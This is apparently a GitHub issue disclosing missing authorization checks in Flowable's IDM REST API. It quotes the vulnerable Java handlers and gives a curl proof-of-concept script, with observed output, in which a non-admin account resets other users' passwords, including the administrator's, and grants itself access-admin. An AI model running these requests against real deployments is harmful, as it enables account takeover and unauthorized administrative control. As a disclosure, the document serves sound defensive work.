Skip to content

Improper Privilege Management in the Flowable IDM REST API #4281

Description

@CyanM0un

Summary

A non-admin REST account can create and modify identities and grant itself the access-admin privilege through the IDM REST API, turning the documented API-access privilege into full administrative control of the application.

Details

The attacker's controlled input is ordinary JSON sent to the IDM REST API by an authenticated user.
Three handlers show the missing decision; all three are reachable with access-rest-api alone.

Creating a user. In
modules/flowable-idm-rest/src/main/java/org/flowable/idm/rest/service/api/user/UserCollectionResource.java,
createUser (declared at line 147) performs its only optional hook and then saves the identity at
line 168:

public UserResponse createUser(@RequestBody UserRequest userRequest) {
    if (userRequest.getId() == null) {
        throw new FlowableIllegalArgumentException("Id cannot be null.");
    }
    ...
    User created = identityService.newUser(userRequest.getId());
    ...
    if (restApiInterceptor != null) {
        restApiInterceptor.createNewUser(created);
    }

    identityService.saveUser(created);                                            // line 168

There is no role check and no access-admin requirement; the interceptor is an optional extension
point that this application does not register.

Resetting another identity's password. In
modules/flowable-idm-rest/src/main/java/org/flowable/idm/rest/service/api/user/UserResource.java,
updateUser (declared at line 89) resolves the target from the path and applies a password change
at line 105:

public UserResponse updateUser(@ApiParam(name = "userId") @PathVariable String userId, @RequestBody UserRequest userRequest) {
    User user = getUserFromRequest(userId);
    ...
    if (userRequest.isPasswordChanged()) {
        user.setPassword(userRequest.getPassword());
        identityService.updateUserPassword(user);                                 // line 105
    } else {
        identityService.saveUser(user);                                           // line 107
    }

The handler never compares the authenticated principal with the target identity, so any API user
can change any other user's password, including the administrator's.

Granting a privilege. In
modules/flowable-idm-rest/src/main/java/org/flowable/idm/rest/service/api/privilege/PrivilegeCollectionResource.java,
addUserPrivilege (declared at line 138) maps an arbitrary privilege to an arbitrary user at
line 145:

public void addUserPrivilege(@PathVariable String privilegeId,
        @RequestBody AddUserPrivilegeRequest request) {
    Privilege privilege = getPrivilegeById(privilegeId);

    if (restApiInterceptor != null) {
        restApiInterceptor.addUserPrivilege(privilege, request.getUserId());
    }

    identityService.addUserPrivilegeMapping(privilegeId, request.getUserId());    // line 145

This is the step that converts API access into administrative access: the attacker supplies their
own user id and the access-admin privilege id. The same pattern applies to group memberships
(modules/flowable-idm-rest/.../group/GroupMembershipCollectionResource.java:64), which lets the
attacker join arbitrary groups.

Reproduction

The reproducer runs against a disposable local instance of the assessed revision, started on port
8080 with context path /flowable-rest and its embedded database, using curl and python3. Two
accounts are used: an API account that holds access-rest-api but not access-admin (the
attacker), and a second non-administrative account (the victim) whose password is reset. The default
application seeds the administrator rest-admin / test.

The script takes every input from the environment:

  • BASE_URL: the REST API root, e.g. http://127.0.0.1:8080/flowable-rest.
  • ACTUATOR_BASE: the actuator root, e.g. http://127.0.0.1:8080/actuator.
  • REST_USER / REST_PASSWORD: the non-admin attacker account.
  • VICTIM_USER / VICTIM_PASSWORD: the non-administrative victim account.
  • NEW_PASSWORD: the password the attacker sets on the victim; defaults to PwnedByAttacker2026.

The decisive requests from poc_idm_escalation.sh (the script's banner, argument checks and
for loops are elided):

#!/usr/bin/env bash
# Decisive requests from poc_idm_escalation.sh (full script elided: banner/loops/argument checks).
set -uo pipefail
AUTH=(-u "$REST_USER:$REST_PASSWORD")              # the attacker holds access-rest-api only
VICTIM_AUTH=(-u "$VICTIM_USER:$VICTIM_PASSWORD")
NEW_VICTIM_AUTH=(-u "$VICTIM_USER:$NEW_PASSWORD")
code() { curl -sS -o /dev/null -w '%{http_code}' "$@"; }

# 1. baseline: API reachable as an ordinary account, admin-gated actuator denied
code "${AUTH[@]}" "$BASE_URL/service/repository/process-definitions"             # 200
code "${AUTH[@]}" "$ACTUATOR_BASE/env"                                           # 403 before the grant

# 2. the non-admin attacker creates a new identity
curl -sS -o /dev/null -w 'POST idm-api/users -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d '{"id":"attacker-created-user","firstName":"Created","lastName":"ByAttacker","password":"CreatedByAttacker2026"}' \
    "${AUTH[@]}" "$BASE_URL/idm-api/users"                                       # 201

# 3. the non-admin attacker resets another identity's password
curl -sS -o /dev/null -w "PUT idm-api/users/$VICTIM_USER -> %{http_code}\n" \
    -X PUT -H 'Content-Type: application/json' \
    -d "{\"password\":\"$NEW_PASSWORD\"}" \
    "${AUTH[@]}" "$BASE_URL/idm-api/users/$VICTIM_USER"                          # 200
code "${VICTIM_AUTH[@]}" "$BASE_URL/service/repository/process-definitions"      # 401 (old password)
code "${NEW_VICTIM_AUTH[@]}" "$BASE_URL/service/repository/process-definitions"  # 200 (attacker's password)

# 4. the non-admin attacker grants itself access-admin
ADMIN_PRIV_ID=$(curl -sS "${AUTH[@]}" "$BASE_URL/idm-api/privileges" \
    | python3 -c 'import json,sys; d=json.load(sys.stdin); print(next((p["id"] for p in d.get("data",[]) if p.get("name")=="access-admin"), ""))')
curl -sS -o /dev/null -w "POST idm-api/privileges/{access-admin}/users -> %{http_code}\n" \
    -H 'Content-Type: application/json' \
    -d "{\"userId\":\"$REST_USER\"}" \
    "${AUTH[@]}" "$BASE_URL/idm-api/privileges/$ADMIN_PRIV_ID/users"             # 200

# 5. the same account now reaches the admin-gated actuator
code "${AUTH[@]}" "$ACTUATOR_BASE/env"                                           # 200 after the grant

# 6. cleanup: revoke the granted privilege and restore the changed password
curl -sS -o /dev/null -w "DELETE idm-api/privileges/{access-admin}/users/{user} -> %{http_code}\n" \
    -X DELETE "${AUTH[@]}" "$BASE_URL/idm-api/privileges/$ADMIN_PRIV_ID/users/$REST_USER"
curl -sS -o /dev/null -w "restore victim password -> %{http_code}\n" \
    -X PUT -H 'Content-Type: application/json' \
    -d "{\"password\":\"$VICTIM_PASSWORD\"}" \
    "${AUTH[@]}" "$BASE_URL/idm-api/users/$VICTIM_USER"

run it with the roles mapped to concrete credentials:

BASE_URL=http://127.0.0.1:8080/flowable-rest \
ACTUATOR_BASE=http://127.0.0.1:8080/actuator \
REST_USER=attacker REST_PASSWORD='<attacker password>' \
VICTIM_USER=victim VICTIM_PASSWORD='<victim password>' \
./poc_idm_escalation.sh

Observed result

Observed output from the validation run, in condensed form:

attacker -> GET <BASE_URL>/service/repository/process-definitions            -> 200
attacker -> GET <ACTUATOR_BASE>/env                                          -> 403   (before escalation)
attacker -> POST <BASE_URL>/idm-api/users                                    -> 201
attacker -> PUT  <BASE_URL>/idm-api/users/victim {"password":...}            -> 200
victim   -> login with the original password                                 -> 401
victim   -> login with the attacker-chosen password                          -> 200
attacker -> POST <BASE_URL>/idm-api/privileges/{access-admin}/users          -> 200
attacker -> GET  <ACTUATOR_BASE>/env                                         -> 200   (after escalation)
attacker -> PUT  <BASE_URL>/idm-api/users/rest-admin {"password":...}        -> 200
rest-admin -> login with the attacker-chosen password                        -> 200
attacker -> PUT  <BASE_URL>/idm-api/users/rest-admin {"password":original}   -> 200 (restored)

Impact

On a deployment where the REST API is exposed and an API account is held by someone who is not meant to be an administrator, that account can take over the application's administrative plane: it can create identities, change any user's password (including the seeded administrator's), add users to arbitrary groups and grant arbitrary privileges — including to itself.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions